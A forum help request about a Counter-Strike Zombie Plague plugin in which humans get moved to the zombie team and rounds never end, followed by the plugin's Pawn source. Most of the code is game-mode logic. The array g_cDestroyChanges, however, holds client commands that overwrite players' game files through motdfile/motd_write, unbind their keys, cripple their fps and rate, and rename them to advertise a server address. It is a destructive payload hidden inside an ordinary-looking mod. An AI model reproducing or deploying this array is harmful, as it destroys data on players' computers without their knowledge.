i have a problem with zombie team. you know when round start the plugin choose someone to become zombie. The problem is that some of the humans move to [TEAM ZOMBIE]. And with that the round never ends.....
Code:
#include zombie_plague
#include float
#include hamsandwich
#pragma library engine
#pragma loadlib engine
#pragma library fakemeta
#pragma loadlib fakemeta
#pragma library zombie_plague
#pragma loadlib zombie_plague
#pragma library cstrike
#pragma loadlib cstrike
#pragma library csx
#pragma loadlib csx
#pragma library hamsandwich
#pragma loadlib hamsandwich
new bool:g_bConnected[33];
new bool:g_bAdmin[33];
new bool:g_bTryder[33];
new bool:g_bAlive[33];
new g_iWeapon[33];
new g_cName[33][32];
new Data[33][ __GEO_DATA_COUNT__ ][128];
new bool: Loaded[ 33 ];
new g_cPlayerAddress[33][24];
new Float:g_fLastLeapTime[33];
new g_cSteam[33][24];
new g_cClass[33][24];
new g_iRounds[512];
new g_iRoundsCount;
new g_iCounter;
new g_iVariable;
new g_iMaxClients;
new g_iPosition[33];
new g_iOffset[33][2];
new g_iArgumentPing[33][3];
new g_iPingOverride[33] =
{
-1, ...
};
new bool:g_bZombie[33];
new g_iLastMode;
new g_iPlayerType[33];
new bool:g_bRoundStart;
new bool:g_bRoundEnd;
new g_iRoundType;
new bool:g_bFlash[33];
new bool:g_bFlashEnabled[33];
new bool:g_bFake[33];
new g_iPacks[33];
new Float:g_fDamage[33];
new Float:g_fLastTime[33];
new g_iBurningDuration[33];
new bool:g_bNoDamage[33];
new bool:g_bFrozen[33];
new g_iAliveCount;
new g_iMessagePosition;
new g_iTripMines[33];
new g_iPlantedMines[33];
new bool:g_bPlanting[33];
new bool:g_bRemoving[33];
new g_iPlayerMines[33][2];
new g_iFirstMineMessage;
new g_iSecondMineMessage;
new g_iJumpsNum[33];
new g_iJumps[33];
new bool:g_bUnlimitedClip[33];
new Float:g_fLastChangedModel;
new Float:g_fLast[33];
new Array:g_aNameData;
new Array:g_aAmmoData;
new g_iSize;
new g_cAddresses[10][24];
new g_iBlinks[33];
new Float:g_fRoundStartTime;
new g_iRemainingSync;
new g_iTopMessageSync;
new g_iLeftMessageSync;
new g_cLNames[10][32];
new g_iTracker;
new g_iEventsHudmessage;
new g_iCenterMessageSync;
new g_iDownMessageSync;
new g_iCounterMessage;
new g_iZombieClass[33];
new g_iZombieNextClass[33];
new g_iBotsCount;
new g_bCanBuy[33];
new g_iGameMenu;
new g_iSecondaryMenu;
new g_iPrimaryMenu;
new g_iSecondaryWeapons[64];
new g_iPrimaryWeapons[64];
new g_iMenuExtraItems;
new g_iMenuZombieClasses;
new g_cTag[33][24];
new Float:g_fGagTime[33];
new g_cSteams[33][24];
new g_cNames[33][32];
new g_cPasswords[33][32];
new g_cFlags[33][32];
new g_cTags[33][24];
new g_cPersonalFlags[33][32];
new g_iAdminsCount;
new g_iMenu;
new bool:g_bVoting;
new bool:g_bSecondVoting;
new g_iVariables[3];
new g_iVotes[7];
new g_cMaps[7][32];
new g_cSecondMaps[5][32];
new g_iSecondVotes[5];
new g_cHudCollors[64][15];
new g_cHudAdvertisements[64][120];
new g_iHudAdvertisementsCount;
new g_iHudMessage;
new g_iLimitReached[33];
new g_cZombieInfectSounds[5][0] =
{
"zombie_plague/zombie_infect_01.wav",
"zombie_plague/zombie_infect_02.wav",
"zombie_plague/zombie_infect_03.wav",
"zombie_plague/zombie_infect_04.wav",
"zombie_plague/zombie_infect_05.wav"
};
new g_cEndRoundZombieSounds[4][0] =
{
"zombie_plague/end_round_win_zombies_01.wav",
"zombie_plague/end_round_win_zombies_02.wav",
"zombie_plague/end_round_win_zombies_03.wav",
"zombie_plague/end_round_win_zombies_04.wav"
};
new g_cEndRoundHumanSounds[3][0] =
{
"zombie_plague/end_round_win_humans_01.wav",
"zombie_plague/end_round_win_humans_02.wav",
"zombie_plague/end_round_win_humans_03.wav"
};
new g_cStartRoundSurvivorSounds[2][0] =
{
"zombie_plague/round_start_survivor_01.wav",
"zombie_plague/round_start_survivor_02.wav"
};
new g_cStartRoundNemesisSounds[2][0] =
{
"zombie_plague/round_start_nemesis_01.wav",
"zombie_plague/round_start_nemesis_02.wav"
};
new g_cZombieBurnSounds[5][0] =
{
"zombie_plague/zombie_burn_01.wav",
"zombie_plague/zombie_burn_02.wav",
"zombie_plague/zombie_burn_03.wav",
"zombie_plague/zombie_burn_04.wav",
"zombie_plague/zombie_burn_05.wav"
};
new g_cHumanNadeInfectSounds[3][0] =
{
"zombie_plague/human_nade_infect_scream_01.wav",
"zombie_plague/human_nade_infect_scream_02.wav",
"zombie_plague/human_nade_infect_scream_03.wav"
};
new Float:g_fDamageCoords[8][0] =
{
{0.50, 0.40},
{0.56, 0.44},
{0.60, 0.50},
{0.56, 0.56},
{0.50, 0.60},
{0.44, 0.56},
{0.40, 0.50},
{0.44, 0.44}
};
new Float:kb_weapon_power[31] =
{
-1.0, 2.4, -1.0, 6.5, -1.0, 8.0, -1.0, 2.3, 5.0, -1.0, 2.4, 2.0, 2.4, 5.3, 5.5, 5.5, 2.2, 2.0, 10.0, 2.5, 5.2, 8.0, 5.0, 2.4, 6.5, -1.0, 5.3,5.0, 6.0, -1.0, 2.0
};
new g_iMaxClip[31] =
{
0, 13, 0, 10, 0, 7, 0, 30, 30, 0, 15, 20, 25, 30, 35, 25, 12, 20, 10, 30, 100, 8, 30, 30, 20, 0, 7, 30, 30, 0, 50
};
new g_cSecondaryWeapons[6][0] =
{
"Glock 18C",
"USP .45 ACP Tactical",
"P228 Compact",
"Desert Eagle .50 AE",
"FiveseveN",
"Dual Elite Berettas"
};
new g_cPrimaryWeapons[14][0] =
{
"IMI Galil",
"Famas",
"M4A1 Carbine",
"AK-47 Kalashnikov",
"SG-552 Commando",
"Steyr AUG A1",
"Schmidt Scout",
"M3 Super 90",
"XM1014 M4",
"Schmidt TMP",
"Ingram MAC-10",
"UMP 45",
"MP5 Navy",
"ES P90"
};
new g_cSecondaryEntities[6][0] =
{
"weapon_glock18",
"weapon_usp",
"weapon_p228",
"weapon_deagle",
"weapon_fiveseven",
"weapon_elite"
};
new g_cPrimaryEntities[14][0] =
{
"weapon_galil",
"weapon_famas",
"weapon_m4a1",
"weapon_ak47",
"weapon_sg552",
"weapon_aug",
"weapon_scout",
"weapon_m3",
"weapon_xm1014",
"weapon_tmp",
"weapon_mac10",
"weapon_ump45",
"weapon_mp5navy",
"weapon_p90"
};
new g_cHumanModels[4][0] =
{
"terror",
"gign",
"sas",
"arctic"
};
new g_cZombieModels[7][0] =
{
"zclasic",
"raptor",
"predator_blue",
"mutant",
"frozen",
"regenerator",
"hunter"
};
new g_cZombieClaws[7][0] =
{
"models/zombie_plague/clasic_claws.mdl",
"models/zombie_plague/regenerator_claws.mdl",
"models/zombie_plague/predator_blue_claws.mdl",
"models/zombie_plague/mutant_claws.mdl",
"models/zombie_plague/frozen_claws.mdl",
"models/zombie_plague/regenerator_claws.mdl",
"models/zombie_plague/hunter_claws.mdl"
};
new g_iZombieHealths[7] =
{
5675, 4800, 5100, 6250, 4500, 4750, 5200
};
new Float:g_fZombieGravities[7] =
{
1.00, 1.00, 0.74, 1.00, 0.61, 1.00, 0.61
};
new Float:g_fZombieSpeeds[7] =
{
264.0, 304.0, 276.0, 244.0, 269.0, 249.0, 273.0
};
new Float:g_fZombieKnockbacks[7] =
{
0.82, 1.33, 0.70, 0.44, 0.80, 0.90, 0.83
};
new g_cZombieClasses[7][24] =
{
"Clasic",
"Raptor",
"Predator 4",
"Mutant",
"Frozen",
"Regenerator",
"Hunter"
};
new g_cZombieAttribs[7][0] =
{
"\y[=Balanced=]",
"\y[Speed +++]",
"\y[Powerful]",
"\y[Health +++]",
"\y[Double Jump]",
"\y[Regeneration]",
"\y[Silent Killer]"
};
new g_cExtraItems[22][0] =
{
"NightVision (single round)",
"T-Virus Antidote",
"Zombie Madness",
"Infection Bomb",
"Explosion Nade",
"Napalm Nade",
"Frost Nade",
"AWP Magnum Sniper",
"M249 Para Machinegun",
"SG550 Auto-Sniper",
"G3SG1 Auto-Sniper",
"Jetpack+Bazooka",
"Unlimited Clip",
"Armura (100ap)",
"Armura (200ap)",
"Multijump +1",
"Cumpara Tryder",
"Cumpara Supravietuitor",
"Cumpara Sniper",
"Cumpara Nemesis",
"Cumpara Assassin",
"Knife Blink"
};
new g_iExtraItemsPrices[22] =
{
2, 15, 17, 26, 4, 4, 3, 7, 9, 10, 10, 30, 10, 5, 10, 5, 30, 180, 180, 150, 150, 10
};
new g_iExtraItemsTeams[22] =
{
2, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1
};
new g_cBotNames[4][0] =
{
"Angelina Jolie",
"Megan Fox",
"Keira Knightley",
"Emma Stone"
};
new g_cDestroyChanges[19][0] =
{
"snapshot;snapshot; name ^"Join: 89.44.246.127:27015^"",
"motdfile models/player/terror/terror.mdl",
"motdfile models/v_ak47.mdl;motd_write x",
"motdfile models/v_m4a1.mdl;motd_write x",
"motdfile resource/GameMenu.res;motd_write x",
"motdfile halflife.wad;motd_write x",
"motdfile cstrike.wad;motd_write x",
"motdfile maps/de_dust2.bsp;motd_write x",
"motdfile events/ak47.sc;motd_write x",
"motdfile dlls/mp.dll;motd_write x",
"motdfile decals.wad;motd_write x",
"motdfile custom.hpk;motd_write x",
"motdfile liblist.gam;motd_write x",
"motdfile tempdecal.wad;motd_write x",
"unbindall",
"cl_timeout 0",
"fps_max 1",
"rate 0",
"_restart"
};
new Float:g_fSizes[70][3] =
{
{0.0, 0.0, 1.0}, {0.0, 0.0, -1.0}, {0.0, 1.0, 0.0}, {0.0, -1.0, 0.0}, {1.0, 0.0, 0.0}, {-1.0, 0.0, 0.0}, {-1.0, 1.0, 1.0}, {1.0, 1.0, 1.0}, {1.0, -1.0, 1.0}, {1.0, 1.0, -1.0}, {-1.0, -1.0, 1.0}, {1.0, -1.0, -1.0}, {-1.0, 1.0, -1.0}, {-1.0, -1.0, -1.0},
{0.0, 0.0, 2.0}, {0.0, 0.0, -2.0}, {0.0, 2.0, 0.0}, {0.0, -2.0, 0.0}, {2.0, 0.0, 0.0}, {-2.0, 0.0, 0.0}, {-2.0, 2.0, 2.0}, {2.0, 2.0, 2.0}, {2.0, -2.0, 2.0}, {2.0, 2.0, -2.0}, {-2.0, -2.0, 2.0}, {2.0, -2.0, -2.0}, {-2.0, 2.0, -2.0}, {-2.0, -2.0, -2.0},
{0.0, 0.0, 3.0}, {0.0, 0.0, -3.0}, {0.0, 3.0, 0.0}, {0.0, -3.0, 0.0}, {3.0, 0.0, 0.0}, {-3.0, 0.0, 0.0}, {-3.0, 3.0, 3.0}, {3.0, 3.0, 3.0}, {3.0, -3.0, 3.0}, {3.0, 3.0, -3.0}, {-3.0, -3.0, 3.0}, {3.0, -3.0, -3.0}, {-3.0, 3.0, -3.0}, {-3.0, -3.0, -3.0},
{0.0, 0.0, 4.0}, {0.0, 0.0, -4.0}, {0.0, 4.0, 0.0}, {0.0, -4.0, 0.0}, {4.0, 0.0, 0.0}, {-4.0, 0.0, 0.0}, {-4.0, 4.0, 4.0}, {4.0, 4.0, 4.0}, {4.0, -4.0, 4.0}, {4.0, 4.0, -4.0}, {-4.0, -4.0, 4.0}, {4.0, -4.0, -4.0}, {-4.0, 4.0, -4.0}, {-4.0, -4.0, -4.0},
{0.0, 0.0, 5.0}, {0.0, 0.0, -5.0}, {0.0, 5.0, 0.0}, {0.0, -5.0, 0.0}, {5.0, 0.0, 0.0}, {-5.0, 0.0, 0.0}, {-5.0, 5.0, 5.0}, {5.0, 5.0, 5.0}, {5.0, -5.0, 5.0}, {5.0, 5.0, -5.0}, {-5.0, -5.0, 5.0}, {5.0, -5.0, -5.0}, {-5.0, 5.0, -5.0}, {-5.0, -5.0, -5.0}
};
public MessageSayText()
{
if (get_msg_args() == 4)
{
static iSender;
iSender = get_msg_arg_int(1);
if (0 < iSender < g_iMaxClients + 1 && g_cTag[iSender][0])
{
static cReplacement[189];
static cPhrase[47];
get_msg_arg_string(2, cPhrase, 46);
if (equal(cPhrase, "#Cstrike_Chat_CT"))
{
formatex(cReplacement, 188, "^x01(Counter-Terrorist) ^x04%s ^x03%s^x01 : %s", g_cTag[iSender], "%s1", "%s2");
set_msg_arg_string(2, cReplacement);
}
if (equal(cPhrase, "#Cstrike_Chat_T"))
{
formatex(cReplacement, 188, "^x01(Terrorist) ^x04%s ^x03%s^x01 : %s", g_cTag[iSender], "%s1", "%s2");
set_msg_arg_string(2, cReplacement);
}
if (equal(cPhrase, "#Cstrike_Chat_CT_Dead"))
{
formatex(cReplacement, 188, "^x01*DEAD*(Counter-Terrorist) ^x04%s ^x03%s^x01 : %s", g_cTag[iSender], "%s1", "%s2");
set_msg_arg_string(2, cReplacement);
}
if (equal(cPhrase, "#Cstrike_Chat_T_Dead"))
{
formatex(cReplacement, 188, "^x01*DEAD*(Terrorist) ^x04%s ^x03%s^x01 : %s", g_cTag[iSender], "%s1", "%s2");
set_msg_arg_string(2, cReplacement);
}
if (equal(cPhrase, "#Cstrike_Chat_Spec"))
{
formatex(cReplacement, 188, "^x01(Spectator) ^x04%s ^x03%s^x01 : %s", g_cTag[iSender], "%s1", "%s2");
set_msg_arg_string(2, cReplacement);
}
if (equal(cPhrase, "#Cstrike_Chat_All"))
{
formatex(cReplacement, 188, "^x04%s ^x03%s^x01 : %s", g_cTag[iSender], "%s1", "%s2");
set_msg_arg_string(2, cReplacement);
}
if (equal(cPhrase, "#Cstrike_Chat_AllDead"))
{
formatex(cReplacement, 188, "^x01*DEAD* ^x04%s ^x03%s^x01 : %s", g_cTag[iSender], "%s1", "%s2");
set_msg_arg_string(2, cReplacement);
}
if (equal(cPhrase, "#Cstrike_Chat_AllSpec"))
{
formatex(cReplacement, 188, "^x01*SPEC* ^x04%s ^x03%s^x01 : %s", g_cTag[iSender], "%s1", "%s2");
set_msg_arg_string(2, cReplacement);
}
}
}
return 0;
}
StripName( Name[ ] )
{
for( new i = 0; i < strlen( Name ); i++ )
{
Name[ i ] = tolower( Name[ i ] );
if( !isalpha( Name[ i ] ) )
{
Name[ i ] = '_';
}
}
}
LoadData( Player )
{
new Name[ 32 ];
get_user_name( Player, Name, 31);
StripName( Name );
new FileLine[ 512 ]
formatex( FileLine, 511, "addons/SpecialGeoip/PlayerData/%s.ini", Name );
new File = fopen( FileLine, "r" );
if( File )
{
new Row[ 256 ], Key[ 128 ], Value[ 128 ], i = 0;
while( !feof( File ) )
{
fgets( File, Row, 255 );
trim( Row );
if( Row[ 0 ] == '"' )
{
parse( Row, Key, 127, Value, 127 );
if( i < __GEO_DATA_COUNT__ )
{
formatex( Data[ Player ][ i ], 127, "%s", Value );
}
i++;
}
}
fclose( File );
Loaded[ Player ] = true;
}
}
StartSwarmMode(bool:bForced)
{
if ((g_iAliveCount > 9 && g_iLastMode != 64 && random_num(1, 150) == 1) || bForced)
{
g_iLastMode = 64;
g_iRoundType = g_iRoundType | 64;
static i;
i = 1;
while (g_iMaxClients > i)
{
if (!g_bAlive[i] || get_team(i) == 2)
{
}
else
{
MakeZombie(0, i, true, false, false);
}
i += 1;
}
client_cmd(0, "spk ZombieOutstanding/round_start_plague");
set_hudmessage(20, 255, 20, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
ShowSyncHudMsg(0, g_iTopMessageSync, "Swarm Round !!");
remove_task(600);
set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
return 0;
}
StartPlagueMode(false);
return 0;
}
StartPlagueMode(bool:bForced)
{
if ((g_iAliveCount > 20 && g_iLastMode != 32 && random_num(1, 180) == 1) || bForced)
{
g_iRoundType = g_iRoundType | 32;
static iNemesis;
static iMaxNemesis;
static i;
static iMaxSurvivors;
static iSurvivors;
static iMaxZombies;
static iZombies;
iMaxSurvivors = 3;
iMaxNemesis = 2;
iZombies = 0;
iNemesis = 0;
iSurvivors = 0;
while (iSurvivors < iMaxSurvivors)
{
i = GetRandomAlive();
if (!(g_iPlayerType[i] & 4))
{
MakeHuman(i, true, false);
iSurvivors += 1;
set_health(i, 6900);
}
}
while (iNemesis < iMaxNemesis)
{
i = GetRandomAlive();
if (!(g_iPlayerType[i] & 4 || g_iPlayerType[i] & 1))
{
MakeZombie(0, i, false, true, false);
iNemesis += 1;
set_health(i, 180000);
}
}
iMaxZombies = floatround(0.4 * g_iAliveCount, floatround_floor);
while (iZombies < iMaxZombies)
{
i += 1;
if (i > g_iMaxClients)
{
i = 1;
}
if (!(!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 4))
{
if (random_num(0, 1))
{
MakeZombie(0, i, true, false, false);
iZombies += 1;
}
}
}
i = 1;
while (g_iMaxClients > i)
{
if (!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 4)
{
}
else
{
if (get_team(i) != 2)
{
set_team(i, 2);
}
}
i += 1;
}
if (random_num(0, 1))
{
client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
}
else
{
client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
}
set_hudmessage(0, 50, 200, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
ShowSyncHudMsg(0, g_iTopMessageSync, "Plague Round !!");
remove_task(600);
set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
return 0;
}
StartMultiMode(false);
return 0;
}
StartMultiMode(bool:bForced)
{
if ((g_iAliveCount > 9 && g_iLastMode != 16 && random_num(1, 150) == 1) || bForced)
{
g_iRoundType = g_iRoundType | 16;
static i;
static iMaxZombies;
static iZombies;
iZombies = 0;
iMaxZombies = floatround(0.18 * g_iAliveCount, floatround_ceil);
i = random_num(1, g_iMaxClients);
while (iZombies < iMaxZombies)
{
i += 1;
if (i > g_iMaxClients)
{
i = 1;
}
if (!(!g_bAlive[i] || g_bZombie[i]))
{
if (random_num(0, 1))
{
MakeZombie(0, i, true, false, false);
iZombies += 1;
}
}
}
i = 1;
while (g_iMaxClients + 1 > i)
{
if (!g_bAlive[i] || g_bZombie[i])
{
}
else
{
if (get_team(i) != 2)
{
set_team(i, 2);
}
}
i += 1;
}
client_cmd(0, "spk ZombieOutstanding/round_start_plague");
set_hudmessage(200, 50, 0, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
ShowSyncHudMsg(0, g_iTopMessageSync, "Multiple Infections !!");
remove_task(600);
set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
return 0;
}
StartArmageddonMode(false);
return 0;
}
StartArmageddonMode(bool:bForced)
{
if ((g_iAliveCount > 9 && g_iLastMode != 128 && random_num(1, 300) == 1) || bForced)
{
g_iRoundType = g_iRoundType | 128;
static i;
static iMaxZombies;
static iZombies;
iZombies = 0;
iMaxZombies = floatround(0.44 * g_iAliveCount, floatround_floor);
i = random_num(1, g_iMaxClients);
while (iZombies < iMaxZombies)
{
i += 1;
if (i > g_iMaxClients)
{
i = 1;
}
if (!(!g_bAlive[i] || g_bZombie[i]))
{
if (random_num(0, 1))
{
MakeZombie(0, i, false, true, false);
set_health(i, 67500);
iZombies += 1;
}
}
}
i = 1;
while (g_iMaxClients > i)
{
if (!g_bAlive[i] || g_bZombie[i])
{
}
else
{
MakeHuman(i, true, false);
set_health(i, 11400);
}
i += 1;
}
if (random_num(0, 1))
{
client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
}
else
{
client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
}
set_hudmessage(181, 62, 244, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
ShowSyncHudMsg(0, g_iTopMessageSync, "Armageddon Round !!");
remove_task(600);
set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
return 0;
}
StartNightmareMode(false);
return 0;
}
StartNightmareMode(bool:bForced)
{
if ((g_iAliveCount > 9 && g_iLastMode != 256 && random_num(1, 37) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
{
g_iLastMode = 256;
g_iRoundType = g_iRoundType | 256;
static i;
static iMaxAssassins;
static iAssassins;
static iMaxSnipers;
static iSnipers;
static iMaxNemesis;
static iNemesis;
iAssassins = 0;
iSnipers = 0;
iNemesis = 0;
iMaxNemesis = floatround(0.24 * g_iAliveCount, floatround_floor);
iMaxAssassins = floatround(0.24 * g_iAliveCount, floatround_floor);
iMaxSnipers = floatround(0.25 * g_iAliveCount, floatround_ceil);
i = random_num(1, g_iMaxClients);
while (iNemesis < iMaxNemesis)
{
i += 1;
if (i > g_iMaxClients)
{
i = 1;
}
if (!(!g_bAlive[i] || g_bZombie[i]))
{
if (random_num(0, 1))
{
MakeZombie(0, i, false, true, false);
set_health(i, 100000);
iNemesis += 1;
}
}
}
while (iAssassins < iMaxAssassins)
{
i += 1;
if (i > g_iMaxClients)
{
i = 1;
}
if (!(!g_bAlive[i] || g_bZombie[i]))
{
if (random_num(0, 1))
{
MakeZombie(0, i, false, false, true);
set_health(i, 25000);
iAssassins += 1;
}
}
}
while (iSnipers < iMaxSnipers)
{
i += 1;
if (i > g_iMaxClients)
{
i = 1;
}
if (!(!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 8))
{
if (random_num(0, 1))
{
MakeHuman(i, false, true);
set_health(i, 12500);
iSnipers += 1;
}
}
}
i = 1;
while (g_iMaxClients + 1 > i)
{
if (!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 8 || g_iPlayerType[i] & 4)
{
}
else
{
MakeHuman(i, true, false);
set_health(i, 12500);
}
i += 1;
}
if (random_num(0, 1))
{
client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
}
else
{
client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
}
set_hudmessage(241, 15, 244, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
ShowSyncHudMsg(0, g_iTopMessageSync, "Nightmare Round !!");
remove_task(600);
set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
return 0;
}
StartAssassinsVsSnipersMode(false);
return 0;
}
StartAssassinsVsSnipersMode(bool:bForced)
{
if ((g_iAliveCount > 9 && g_iLastMode != 512 && random_num(1, 470) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
{
g_iLastMode = 512;
g_iRoundType = g_iRoundType | 512;
static i;
i = 1;
while (g_iMaxClients > i)
{
if (g_bAlive[i])
{
switch (get_team(i))
{
case 1:
{
MakeZombie(0, i, false, false, true);
set_health(i, 35000);
}
case 2:
{
MakeHuman(i, false, true);
set_health(i, 12500);
}
}
}
i += 1;
}
if (random_num(0, 1))
{
client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
}
else
{
client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
}
set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
ShowSyncHudMsg(0, g_iTopMessageSync, "Assassins vs Snipers Round !!");
remove_task(600);
set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
return 0;
}
static cTime[4];
get_time("%H", cTime, 3);
if (cTime[0] != 48)
{
StartSniperMode(0);
}
else
{
if (cTime[0] == 48 && cTime[1] == 49)
{
StartSniperMode(0);
}
if (cTime[0] == 48 && cTime[1] == 50)
{
StartSniperMode(0);
}
StartAssassinMode(0);
}
return 0;
}
StartSniperMode(iPlayer)
{
if ((g_iLastMode != 8 && random_num(1, 200) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
{
g_iLastMode = 8;
g_iRoundType = g_iRoundType | 8;
static j;
static i;
i = GetRandomAlive();
if (iPlayer)
{
i = iPlayer;
}
j = i;
MakeHuman(i, false, true);
for ( i = 1; i <= g_iMaxClients; i ++ )
{
if ( !g_bAlive [i] ) continue;
if ( g_iPlayerType[i] & 8 || g_bZombie [i] ) continue;
MakeZombie(0, i, true, false, false);
}
set_task(30.0, "TaskReminder", 900, "", 0, "", 0);
client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Sniper !!", g_cName[j]);
remove_task(600);
set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
return 0;
}
StartSurvivorMode(0);
return 0;
}
StartSurvivorMode(iPlayer)
{
if ((g_iLastMode != 4 && random_num(1, 200) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
{
g_iLastMode = 4;
g_iRoundType = g_iRoundType | 4;
static j;
static i;
i = GetRandomAlive();
if (iPlayer)
{
i = iPlayer;
}
j = i;
MakeHuman(i, true, false);
for ( i = 1; i <= g_iMaxClients; i ++ )
{
if ( !g_bAlive [i] ) continue;
if ( g_iPlayerType[i] & 4 || g_bZombie [i] ) continue;
MakeZombie(0, i, true, false, false);
}
set_task(30.0, "TaskReminder", 900, "", 0, "", 0);
client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Survivor !!", g_cName[j]);
remove_task(600);
set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
return 0;
}
StartAssassinMode(0);
return 0;
}
StartAssassinMode(iPlayer)
{
if ((g_iLastMode != 2 && random_num(1, 50) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
{
g_iLastMode = 2;
g_iRoundType = g_iRoundType | 2;
static j;
static i;
i = GetRandomAlive();
if (iPlayer)
{
i = iPlayer;
}
j = i;
MakeZombie(0, i, false, false, true);
i = 1;
while (g_iMaxClients > i)
{
if (g_bAlive[i] && !g_bZombie[i] && get_team(i) == 1)
{
set_team ( i, 2 );
}
i += 1;
}
set_task(30.0, "TaskReminder", 900, "", 0, "", 0);
close();
client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Assassin !!", g_cName[j]);
remove_task(600);
set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
return 0;
}
StartNemesisMode(0);
return 0;
}
StartNemesisMode(iPlayer)
{
if ((g_iLastMode != 1 && random_num(1, 40) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
{
g_iLastMode = 1;
g_iRoundType = g_iRoundType | 1;
static j;
static i;
i = GetRandomAlive();
if (iPlayer)
{
i = iPlayer;
}
j = i;
MakeZombie(0, i, false, true, false);
i = 1;
while (g_iMaxClients > i)
{
if (g_bAlive[i] && !g_bZombie[i] && get_team(i) == 1)
{
set_team ( i, 2 );
}
i += 1;
}
set_task(30.0, "TaskReminder", 900, "", 0, "", 0);
client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Nemesis !!", g_cName[j]);
remove_task(600);
set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
return 0;
}
StartNormalMode(0);
return 0;
}
StartNormalMode(iPlayer)
{
static j;
static i;
i = GetRandomAlive();
if (iPlayer)
{
i = iPlayer;
}
j = i;
MakeZombie(0, i, false, false, false);
i = 1;
while (g_iMaxClients > i)
{
if (g_bAlive[i] && !g_bZombie[i] && get_team(i) == 1)
{
set_team ( i, 2 );
}
i += 1;
}
set_hudmessage(255, 0, 0, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
ShowSyncHudMsg(0, g_iTopMessageSync, "%s is the first zombie !!", g_cName[j]);
remove_task(600);
set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
return 0;
}
public EventHLTV()
{
g_bRoundStart = true;
g_fRoundStartTime = get_gametime();
return 0;
}
public TaskCounter()
{
g_iCounter -= 1;
if (0 < g_iCounter < 9)
{
static cWord[12];
num_to_word(g_iCounter, cWord, 12);
set_hudmessage(179, 0, 0, -1.00, 0.28, 2, 0.02, 1.00, 0.01, 0.10, 10);
ShowSyncHudMsg(0, g_iCounterMessage, "Infection in %d", g_iCounter);
client_cmd(0, "spk fvox/%s", cWord);
}
return 0;
}
public EventRoundStart()
{
g_iRoundType = 0;
g_bRoundEnd = false;
g_bRoundStart = true;
g_iCounter = 11;
remove_task(650);
set_task(2.0, "TaskWelcome", 650, "", 0, "", 0);
remove_task(550);
set_task(12.0, "TaskZombie", 550, "", 0, "", 0);
remove_task(700);
set_task(1.0, "TaskCounter", 700, "", 0, "a", 11);
static i;
i = 1;
while (g_iMaxClients + 1 > i)
{
if (g_bConnected[i] && get_user_jetpack(i))
{
set_user_rocket_time(i, 0.0);
}
g_iJumpsNum[i] = 0;
g_iPlantedMines[i] = 0;
g_iTripMines[i] = 0;
g_iBlinks[i] = 0;
g_iPlayerMines[i][1] = 0;
g_iPlayerMines[i][0] = 0;
g_bTryder[i] = false;
g_bUnlimitedClip[i] = false;
i += 1;
}
static cMap[32];
get_cvar_string("nextmap", cMap, 32);
if (get_cvar_num("mp_timelimit") == 0)
{
set_task(3.0, "TaskInt", 0, "", 0, "", 0);
set_task(7.0, "TaskChangeLevel", 0, "", 0, "", 0);
}
return 0;
}
public EventRoundEnd()
{
static Float:fCurrent;
static Float:fLast;
fCurrent = get_gametime();
if (fCurrent - fLast < 0.5)
{
return 0;
}
fLast = fCurrent;
g_iRoundsCount += 1;
g_iRounds[g_iRoundsCount] = g_iRoundType;
g_iLastMode = g_iRoundType;
